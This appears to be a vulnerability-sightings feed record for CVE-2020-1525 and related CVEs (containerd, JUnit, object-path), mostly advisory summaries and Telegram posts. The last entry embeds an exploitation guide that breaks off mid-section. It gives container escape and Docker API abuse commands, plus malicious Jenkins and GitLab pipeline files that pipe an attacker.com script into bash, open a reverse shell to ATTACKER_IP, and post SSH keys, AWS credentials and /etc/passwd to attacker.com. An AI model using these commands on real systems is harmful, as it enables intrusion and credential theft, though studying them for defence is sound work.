{"vulnerability": "CVE-2020-1525", "sightings": [{"uuid": "0a07ae01-93ac-4f84-a88e-98166a598d4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15250", "type": "seen", "source": "https://gist.github.com/yorickdowne/a564977ea8de7302d7ec82fdf6061c49", "content": "", "creation_timestamp": "2025-09-15T15:33:15.000000Z"}, {"uuid": "4a332468-5d67-447b-bbc4-ab308cf711cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15251", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3m25wrqxhsx2w", "content": "", "creation_timestamp": "2025-10-01T21:02:25.934407Z"}, {"uuid": "eddd1688-a1f7-4c29-8b2b-e950819a5cca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15257", "type": "seen", "source": "https://gist.github.com/aw-junaid/8ab7fcee3ef7f4c33bc10ae9d90c1bca", "content": "", "creation_timestamp": "2026-01-30T18:57:00.000000Z"}, {"uuid": "c8e2fd6b-0607-4b35-935a-17647d8e66f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15257", "type": "seen", "source": "https://gist.github.com/namishelex01/c45e91ffc78335e7a096670758f310e6", "content": "", "creation_timestamp": "2025-12-17T18:58:48.000000Z"}, {"uuid": "ba1c2697-11da-449d-aad6-d61820704bb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15257", "type": "published-proof-of-concept", "source": "https://t.me/k8security/164", "content": "\"ABSTRACT SHIMMER (CVE-2020-15257): Host Networking is root-Equivalent, Again\" - \u043e\u0442\u043b\u0438\u0447\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0441\u0441\u043a\u0430\u0437 \u0441 \u043f\u0440\u0438\u043c\u0435\u0440\u0430\u043c\u0438 \u043a\u043e\u0434\u0430 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0430\u0441\u044c, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020-15257, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u044f \u043f\u0438\u0441\u0430\u043b \u0440\u0430\u043d\u044c\u0448\u0435.\n\n\u041f\u0440\u0438 \u043f\u0440\u043e\u0447\u0442\u0435\u043d\u0438\u0438 \u0432\u044b \u0443\u0437\u043d\u0430\u0435\u0442\u0435 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 containerd-shim, \u043a\u0430\u043a \u0437\u0430\u043a\u0440\u044b\u043b\u0438 \u0434\u0430\u043d\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u043a\u0430\u043a \u0435\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0421\u0430\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430 \u0430\u0432\u0442\u043e\u0440 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u043b\u043e\u0436\u0438\u0442\u044c 11 \u044f\u043d\u0432\u0430\u0440\u044f, \u041d\u041e \u043f\u043e \u0441\u0442\u0430\u0442\u044c\u0435 \u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0438 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e.", "creation_timestamp": "2020-12-11T07:01:11.000000Z"}, {"uuid": "7ee0f662-5b4e-49cb-9d67-43c4e88d7934", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15257", "type": "seen", "source": "https://t.me/k8security/156", "content": "CVE-2020-15257: containerd \u2013 containerd-shim API Exposed to Host Network Containers\n\n\u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u0441\u043e\u0432\u0435\u0440\u0448\u0438\u0442\u044c \u043f\u043e\u0431\u0435\u0433 \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430, \u043f\u043e\u0434\u043d\u044f\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0445\u043e\u0441\u0442/\u043d\u043e\u0434\u0443.\n\n\u0412\u0441\u0435 \u044d\u0442\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0432 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0438 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f, \u0435\u0441\u043b\u0438:\n- hostNetwork: true \u0434\u043b\u044f Pod \n- \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043e\u0442 root \n- \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 host user namespace (\u0441\u0435\u0439\u0447\u0430\u0441 \u044d\u0442\u043e \u043d\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c, \u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430 \u043d\u0430\u0434 \u044d\u0442\u0438\u043c \u043a\u0438\u043f\u0438\u0442 \u0432 keps/127: Support User Namespaces)\n\n\u0410 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043a\u0440\u0443\u0442\u0438\u0442\u044c\u0441\u044f \u0432\u043e\u043a\u0440\u0443\u0433 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e containerd-shim \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 abstract Unix domain sockets, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 normal Unix domain sockets \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d \u043a network namespace \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0430 \u043d\u0435 \u043a \u0444\u0430\u0439\u043b\u0443.\n\n\u0412 \u0438\u0442\u043e\u0433\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u043c\u043e\u0436\u0435\u0442 \u0434\u0435\u043b\u0430\u0442\u044c \u0442\u0430\u043a\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043a\u0430\u043a:\n- \u0427\u0442\u0435\u043d\u0438\u0435/\u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435/\u0437\u0430\u043f\u0438\u0441\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0445\u043e\u0441\u0442\u0430\n- \u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 containerd-shim (root) \u043d\u0430 \u0445\u043e\u0441\u0442\u0435\n- \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0438\u0437 runc config.json \u0444\u0430\u0439\u043b\u0430\n\u042d\u0442\u043e, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u043f\u043e\u0431\u0435\u0433\u0430 \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u043d\u0430 \u0445\u043e\u0441\u0442.", "creation_timestamp": "2020-12-03T06:53:45.000000Z"}, {"uuid": "dfc937cf-a5a7-4c26-8e48-4a35d83c7b22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1525", "type": "seen", "source": "https://t.me/anwar1213xx/979", "content": "\u062b\u063a\u0631\u0627\u062a \u0644\u0625\u062e\u062a\u0631\u0627\u0642 \u0627\u0644\u0648\u064a\u0646\u062f\u0648\u0632 :\n\n\u0643\u0644 \u0645\u0646 \u064a\u0633\u062a\u062e\u062f\u0645 \u0646\u0638\u0627\u0645 \u0627\u0644\u062a\u0634\u063a\u064a\u0644 \u0648\u064a\u0646\u062f\u0648\u0632 \u0623\u0648 \u062d\u0632\u0645\u0629 \u062a\u0637\u0628\u064a\u0642\u0627\u062a Microsoft Office \u064a\u062c\u0628 \u0639\u0644\u064a\u0647 \u0623\u0646 \u064a\u062d\u062f\u062b\u0647\u0645\u060c \u064a\u0648\u062c\u062f \u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0635\u062f\u0631\u062a \u0644\u062a\u0631\u0642\u064a\u0639 120 \u062b\u063a\u0631\u0629 \u0645\u0646\u0647\u0645 18 \u062b\u063a\u0631\u0629 \u062f\u0631\u062c\u0629 \u062e\u0637\u0648\u0631\u062a\u0647\u0645 \u0645\u0635\u0646\u0641\u0647 \u0643\u0640 \"\u062d\u0631\u062c\u0629\" \u06482 \u0628\u0627\u0644\u0641\u0639\u0644 \u064a\u062a\u0645 \u0625\u0633\u062a\u063a\u0644\u0627\u0644\u0647\u0645 \u0628\u0634\u0643\u0644 \u0643\u0628\u064a\u0631\n\u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u062a\u0639\u0631\u0636 \u062c\u0647\u0627\u0632\u0643 \u0644\u0644\u0625\u062e\u062a\u0631\u0627\u0642 \u0641\u064a \u0627\u0644\u062d\u0627\u0644\u0627\u062a \u0627\u0644\u062a\u0627\u0644\u064a\u0629:\n\u0627\u0644\u062b\u063a\u0631\u0629 CVE-2020-1525 \u0648 CVE-2020-1585 \u0645\u0645\u0643\u0646 \u062a\u062a\u0633\u0628\u0628 \u0641\u064a \u0625\u062e\u062a\u0631\u0627\u0642 \u062c\u0647\u0627\u0632\u0643 \u0639\u0646 \u0637\u0631\u064a\u0642 \u062a\u0634\u063a\u064a\u0644 \u0645\u0644\u0641 \u0641\u064a\u062f\u064a\u0648.\n\u0627\u0644\u062b\u063a\u0631\u0629 CVE-2020-1548 \u0645\u0645\u0643\u0646 \u062a\u062a\u0633\u0628\u0628 \u0641\u064a \u0625\u062e\u062a\u0631\u0627\u0642 \u062c\u0647\u0627\u0632\u0643 \u0639\u0646 \u0637\u0631\u064a\u0642 \u062a\u0634\u063a\u064a\u0644 \u0645\u0644\u0641 \u0635\u0648\u062a.\n\u0627\u0644\u062b\u063a\u0631\u0629 CVE-2020-1560 \u0648 CVE-2020-1574 \u0645\u0645\u0643\u0646 \u062a\u062a\u0633\u0628\u0628 \u0641\u064a \u0625\u062e\u062a\u0631\u0627\u0642 \u062c\u0647\u0627\u0632\u0643 \u0639\u0646 \u0637\u0631\u064a\u0642 \u062a\u0634\u063a\u064a\u0644 \u0645\u0644\u0641 \u0635\u0648\u0631\u0629.\n\u0627\u0644\u062b\u063a\u0631\u0629 CVE-2020-1483 \u0645\u0645\u0643\u0646 \u062a\u062a\u0633\u0628\u0628 \u0641\u0649 \u0625\u062e\u062a\u0631\u0627\u0642 \u062c\u0647\u0627\u0632\u0643 \u0625\u0630\u0627 \u0642\u0645\u062a \u0628\u0633\u062a\u062e\u062f\u0645 \u062a\u0637\u0628\u064a\u0642 Microsoft Outlook \u0641\u064a \u0625\u0633\u062a\u0644\u0627\u0645 \u0627\u0644\u0631\u0633\u0627\u0626\u0644.\n\u0627\u0644\u062b\u063a\u0631\u0629 CVE-2020-1567 \u0645\u0645\u0643\u0646 \u062a\u062a\u0633\u0628\u0628 \u0641\u064a \u0625\u062e\u062a\u0631\u0627\u0642 \u062c\u0647\u0627\u0632\u0643 \u0625\u0630\u0627 \u062d\u0627\u0648\u0644\u062a \u0623\u0646 \u062a\u0642\u0648\u0645 \u0628\u062a\u062d\u0631\u064a\u0631 edit \u0644\u0635\u0641\u062d\u0629 HTML.\n\u0627\u0644\u062b\u063a\u0631\u0629 CVE-2020-1380 \u0645\u0645\u0643\u0646 \u062a\u062a\u0633\u0628\u0628 \u0641\u064a \u0625\u062e\u062a\u0631\u0627\u0642 \u062c\u0647\u0627\u0632\u0643 \u0625\u0630\u0627 \u062d\u0627\u0648\u0644\u062a \u062a\u0641\u062a\u062d \u0645\u0648\u0642\u0639 \u0645\u0639\u064a\u0646 \u0639\u0644\u0649 \u0645\u062a\u0635\u0641\u062d Internet Explorer 11.\n\u0627\u0644\u062b\u063a\u0631\u0629 CVE-2020-1472 \u0627\u0644\u0645\u0648\u062c\u0648\u062f\u0629 \u0641\u0649 \u0645\u0643\u0648\u0646 NetLogon \u0645\u0645\u0643\u0646 \u062a\u062a\u0633\u0628\u0628 \u0641\u0649 \u0631\u0641\u0639 \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u0645\u062e\u062a\u0631\u0642 \u0648\u062a\u0633\u0645\u062d \u0644\u0647 \u0628\u0625\u062e\u062a\u0631\u0627\u0642 \u062c\u0647\u0627\u0632\u0643 \u0641\u064a \u062d\u0627\u0644\u0629 \u0645\u0627 \u0625\u0630\u0627 \u0643\u0627\u0646 \u0645\u062a\u0635\u0644 \u0639\u0644\u0649 Domain Controller (DC) \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645 \u0641\u0649 \u0627\u0644\u063a\u0627\u0644\u0628 \u062f\u0627\u062e\u0644 \u0627\u0644\u0645\u0624\u0633\u0633\u0627\u062a.\n\u0627\u0644\u062b\u063a\u0631\u0627\u0629 CVE-2020-1494 \u0648 CVE-2020-1495 \u0648 CVE-2020-1496 \u0648 CVE-2020-1504 \u0648 CVE-2020-1498 \u0645\u0645\u0643\u0646 \u0623\u0646 \u064a\u062a\u0633\u0628\u0628\u0648 \u0641\u0649 \u0625\u062e\u062a\u0631\u0627\u0642 \u062c\u0647\u0627\u0632\u0643 \u0627\u0646 \u0641\u062a\u062d\u062a \u0645\u0644\u0641 Excel sheet \u0639\u0644\u0649 \u0627\u0644\u0627\u0635\u062f\u0627\u0631 \u0627\u0644\u0645\u0635\u0627\u0628 \u0645\u0646 Microsoft Excel.\n\u0627\u0644\u062b\u063a\u0631\u0629 CVE-2020-1571 \u0645\u0645\u0643\u0646 \u062a\u062a\u0633\u0628\u0628 \u0641\u0649 \u0631\u0641\u0639 \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u0645\u062e\u062a\u0631\u0642 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0625\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u062a\u0637\u0628\u064a\u0642 \u0627\u0644\u0645\u0633\u0624\u0648\u0644 \u0639\u0646 \u062a\u0646\u0635\u064a\u0628 \u0646\u0633\u062e\u0629 \u0627\u0644\u0648\u064a\u0646\u062f\u0648\u0632 \u0646\u0641\u0633\u0647\u0627\n\nThe Yemeni ghost\nMy pride is crazy", "creation_timestamp": "2021-10-08T16:50:51.000000Z"}, {"uuid": "55d291d6-927a-4acc-8a50-95fc591f2d95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1525", "type": "exploited", "source": "Telegram/t56b3Q9Pzy6RNlSuP7aXlCGnrtD_6yp__frASOXq_ro", "content": "", "creation_timestamp": "2021-10-08T16:50:48.000000Z"}, {"uuid": "cdb6aee4-3356-49a6-8cce-c03b7ae72d52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15250", "type": "seen", "source": "https://t.me/ctinow/181674", "content": "https://ift.tt/WqbFM8e\nCVE-2020-15250 | Oracle Banking Liquidity Management 14.7.0.3.0 Infrastructure information disclosure", "creation_timestamp": "2024-02-08T22:46:19.000000Z"}, {"uuid": "47769cda-eabc-4e79-bc22-17f38e39829f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15256", "type": "seen", "source": "https://t.me/cibsecurity/27955", "content": "\u203c CVE-2021-23434 \u203c\n\nThis affects the package object-path before 0.11.6. A type confusion vulnerability can lead to a bypass of CVE-2020-15256 when the path components used in the path parameter are arrays. In particular, the condition currentPath === '__proto__' returns false if currentPath is ['__proto__']. This is because the === operator returns always false when the type of the operands is different.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-27T20:28:18.000000Z"}, {"uuid": "9e94f7c8-ec43-47f9-89e0-242a5a171f08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15257", "type": "seen", "source": "https://t.me/cibsecurity/16968", "content": "\u203c CVE-2020-15257 \u203c\n\ncontainerd is an industry-standard container runtime and is available as a daemon for Linux and Windows. In containerd before versions 1.3.9 and 1.4.3, the containerd-shim API is improperly exposed to host network containers. Access controls for the shim\u00e2\u20ac\u2122s API socket verified that the connecting process had an effective UID of 0, but did not otherwise restrict access to the abstract Unix domain socket. This would allow malicious containers running in the same network namespace as the shim, with an effective UID of 0 but otherwise reduced privileges, to cause new processes to be run with elevated privileges. This vulnerability has been fixed in containerd 1.3.9 and 1.4.3. Users should update to these versions as soon as they are released. It should be noted that containers started with an old version of containerd-shim should be stopped and restarted, as running containers will continue to be vulnerable even after an upgrade. If you are not providing the ability for untrusted users to start containers in the same network namespace as the shim (typically the \"host\" network namespace, for example with docker run --net=host or hostNetwork: true in a Kubernetes pod) and run with an effective UID of 0, you are not vulnerable to this issue. If you are running containers with a vulnerable configuration, you can deny access to all abstract sockets with AppArmor by adding a line similar to deny unix addr=@**, to your policy. It is best practice to run containers with a reduced set of privileges, with a non-zero UID, and with isolated namespaces. The containerd maintainers strongly advise against sharing namespaces with the host. Reducing the set of isolation mechanisms used for a container necessarily increases that container's privilege, regardless of what container runtime is used for running that container.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-12-01T07:53:41.000000Z"}, {"uuid": "3045eecf-be14-45ff-8ce5-a9dc95b0fcdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15257", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/2210", "content": "#Blue_Team_Techniques\n1. Improving OAuth App-to-App Security\nhttps://danielfett.de/2020/11/27/improving-app2app\n2. Technical Advisory: containerd - containerd-shim API Exposed to Host Network Containers (CVE-2020-15257)\nhttps://research.nccgroup.com/2020/11/30/technical-advisory-containerd-containerd-shim-api-exposed-to-host-network-containers-cve-2020-15257", "creation_timestamp": "2020-12-22T05:57:17.000000Z"}, {"uuid": "413ffe6a-3a90-48d2-9f53-367aefdd29a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15257", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/2276", "content": "A technical discussion of the underlying vulnerability of CVE-2020-15257, and how it can be exploited (containerd exploitation)\nhttps://research.nccgroup.com/2020/12/10/abstract-shimmer-cve-2020-15257-host-networking-is-root-equivalent-again", "creation_timestamp": "2020-12-12T13:55:07.000000Z"}, {"uuid": "f3de71f3-3c94-4733-9a46-8e098d9c0832", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15250", "type": "published-proof-of-concept", "source": "https://t.me/cibsecurity/15215", "content": "\u203c CVE-2020-15250 \u203c\n\nIn JUnit4 before version 4.13.1, the test rule TemporaryFolder contains a local information disclosure vulnerability. On Unix like systems, the system's temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system. This vulnerability does not allow other users to overwrite the contents of these directories or files. This is purely an information disclosure vulnerability. This vulnerability impacts you if the JUnit tests write sensitive information, like API keys or passwords, into the temporary folder, and the JUnit tests execute in an environment where the OS has other untrusted users. Because certain JDK file system APIs were only added in JDK 1.7, this this fix is dependent upon the version of the JDK you are using. For Java 1.7 and higher users: this vulnerability is fixed in 4.13.1. For Java 1.6 and lower users: no patch is available, you must use the workaround below. If you are unable to patch, or are stuck running on Java 1.6, specifying the `java.io.tmpdir` system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability. For more information, including an example of vulnerable code, see the referenced GitHub Security Advisory.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-10-12T22:37:48.000000Z"}, {"uuid": "4cc343bc-7207-4d82-8a45-ef84aa4c644a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15251", "type": "seen", "source": "https://t.me/cibsecurity/15244", "content": "\u203c CVE-2020-15251 \u203c\n\nIn the Channelmgnt plug-in for Sopel (a Python IRC bot) before version 1.0.3, malicious users are able to op/voice and take over a channel. This is an ACL bypass vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-10-13T22:38:51.000000Z"}, {"uuid": "f7db924a-0da5-4a32-80bc-a9222d688a92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15256", "type": "seen", "source": "https://t.me/cibsecurity/15401", "content": "\u203c CVE-2020-15256 \u203c\n\nA prototype pollution vulnerability has been found in `object-path` <= 0.11.4 affecting the `set()` method. The vulnerability is limited to the `includeInheritedProps` mode (if version >= 0.11.0 is used), which has to be explicitly enabled by creating a new instance of `object-path` and setting the option `includeInheritedProps: true`, or by using the default `withInheritedProps` instance. The default operating mode is not affected by the vulnerability if version >= 0.11.0 is used. Any usage of `set()` in versions < 0.11.0 is vulnerable. The issue is fixed in object-path version 0.11.5 As a workaround, don't use the `includeInheritedProps: true` options or the `withInheritedProps` instance if using a version >= 0.11.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-10-20T02:46:38.000000Z"}, {"uuid": "68c44d7e-306a-403c-b58f-871f59e7426f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15257", "type": "seen", "source": "https://gist.github.com/bbrk364/190d615cbccc28f899b8d3cadc6422e7", "content": "# DevOps & Cloud Security Exploitation Guide\n\nComprehensive guide to DevOps and cloud security vulnerabilities, privilege escalation techniques, misconfigurations in AWS, Azure, GCP, Kubernetes, Docker, and CI/CD pipelines with exploitation commands and security hardening recommendations.\n\n---\n\n## Container Security Exploitation\n\n### **Docker Privilege Escalation**\n\n**Privileged Container Escape:**\n```bash\n# Check if container is privileged\ncat /proc/self/status | grep CapEff\n\n# If privileged, escape to host\ndocker run --rm -it --privileged ubuntu bash\nmkdir /mnt/host\nmount /dev/sda1 /mnt/host  # Mount host filesystem\n\n# Alternative: Use nsenter\ndocker run --rm -it --privileged --pid=host ubuntu bash\nnsenter --target 1 --mount --uts --ipc --net --pid bash\n\n# Docker socket exploitation\ndocker run -v /var/run/docker.sock:/var/run/docker.sock -it ubuntu bash\n# Inside container:\ndocker run -v /:/mnt -it alpine  # Mount host root\n```\n\n**Docker Group Exploitation:**\n```bash\n# Check if user is in docker group\nid | grep docker\n\n# If in docker group, create container with host mount\ndocker run -v /:/mnt -it alpine\n# Access host files at /mnt\n\n# Alternative: Create privileged container\ndocker run --rm -it --privileged nginx bash\n```\n\n**Docker API Exploitation:**\n```bash\n# If Docker API is exposed (port 2375/2376)\ncurl http://192.168.1.100:2375/version\n\n# Create container with host mount\ncurl -X POST -H \"Content-Type: application/json\" \\\n  -d '{\"Image\":\"alpine\",\"Cmd\":[\"sh\"],\"HostConfig\":{\"Binds\":[\"/:/mnt\"]}}' \\\n  http://192.168.1.100:2375/containers/create\n\n# Start container\ncurl -X POST http://192.168.1.100:2375/containers//start\n```\n\n### **Kubernetes Security Exploitation**\n\n**RBAC Misconfiguration:**\n```bash\n# List all permissions for current user\nkubectl auth can-i --list\n\n# Check for wildcard permissions\nkubectl get clusterrolebindings -o wide\nkubectl get rolebindings --all-namespaces -o wide\n\n# Exploit misconfigured RBAC\n# If user can create pods with privileged containers\ncat <\" https://:6443/api/v1/namespaces\n\n# If service account has cluster-admin privileges\nkubectl create clusterrolebinding root-cluster-admin-binding \\\n  --clusterrole=cluster-admin --serviceaccount=default:default\n```\n\n**Privilege Escalation via Pod Creation:**\n```bash\n# Create pod with host PID namespace\ncat < Dockerfile << EOF\nFROM alpine\nCOPY exploit /exploit\nRUN chmod +x /exploit\nCMD [\"/exploit\"]\nEOF\n\n# Build and run\ndocker build -t malicious .\ndocker run --rm malicious\n```\n\n**Containerd Exploit (CVE-2020-15257):**\n```bash\n# Exploit containerd-shim API\n# Check if containerd-shim is accessible\nls -la /run/containerd/s/*\n\n# Create malicious container that mounts host\ndocker run --rm -it \\\n  -v /run/containerd/s/1234567890:/tmp/shim \\\n  -v /:/host alpine\n```\n\n---\n\n## CI/CD Pipeline Exploitation\n\n### **Jenkins Security Vulnerabilities**\n\n**Unauthenticated Access:**\n```bash\n# Check if Jenkins is exposed without authentication\ncurl http://jenkins-server:8080/\n\n# If unauthenticated, access Jenkins scripts\ncurl http://jenkins-server:8080/script\ncurl http://jenkins-server:8080/computer/(master)/scripts\n\n# Execute Groovy script\ncurl -X POST http://jenkins-server:8080/script \\\n  -d \"script=println 'whoami'.execute().text\"\n```\n\n**Jenkins Credential Extraction:**\n```bash\n# If you have Jenkins access, extract credentials\n# Method 1: Through script console\nprintln(hudson.util.Secret.fromString(\"{...}\").getPlainText())\n\n# Method 2: Access credentials.xml\ncurl http://jenkins-server:8080/credentials/store/system/domain/_/api/xml\n\n# Method 3: Using Jenkins CLI\njava -jar jenkins-cli.jar -s http://jenkins-server:8080/ list-credentials system::system::jenkins\n```\n\n**Pipeline Code Injection:**\n```groovy\n// Malicious Jenkinsfile\npipeline {\n    agent any\n    stages {\n        stage('Build') {\n            steps {\n                // Command injection\n                sh 'curl http://attacker.com/shell.sh | bash'\n                \n                // Reverse shell\n                sh 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n                \n                // Credential theft\n                sh 'cat ~/.ssh/id_rsa | curl -X POST --data-binary @- http://attacker.com/steal'\n            }\n        }\n    }\n}\n```\n\n### **GitLab Security Issues**\n\n**SSRF in GitLab:**\n```bash\n# Test for SSRF vulnerabilities\n# In issue comments or markdown\n![test](http://169.254.169.254/latest/meta-data/)\n\n# Using webhooks\ncurl -X POST http://gitlab-server/api/v4/projects/1/hooks \\\n  -H \"PRIVATE-TOKEN: \" \\\n  -d \"url=http://169.254.169.254/latest/meta-data/\"\n```\n\n**Pipeline Token Abuse:**\n```yaml\n# .gitlab-ci.yml with malicious commands\nbefore_script:\n  - export AWS_ACCESS_KEY_ID=$(aws configure get aws_access_key_id)\n  - export AWS_SECRET_ACCESS_KEY=$(aws configure get aws_secret_access_key)\n  - curl -X POST --data \"key=$AWS_ACCESS_KEY_ID&secret=$AWS_SECRET_ACCESS_KEY\" http://attacker.com/steal\n\nstages:\n  - build\n  - test\n  - deploy\n\nbuild:\n  stage: build\n  script:\n    - echo \"Building...\"\n    - cat /etc/passwd | curl -X POST --data-binary @- http://attacker.com/passwd\n```\n\n### **GitHub Actions Security**\n\n**Malicious 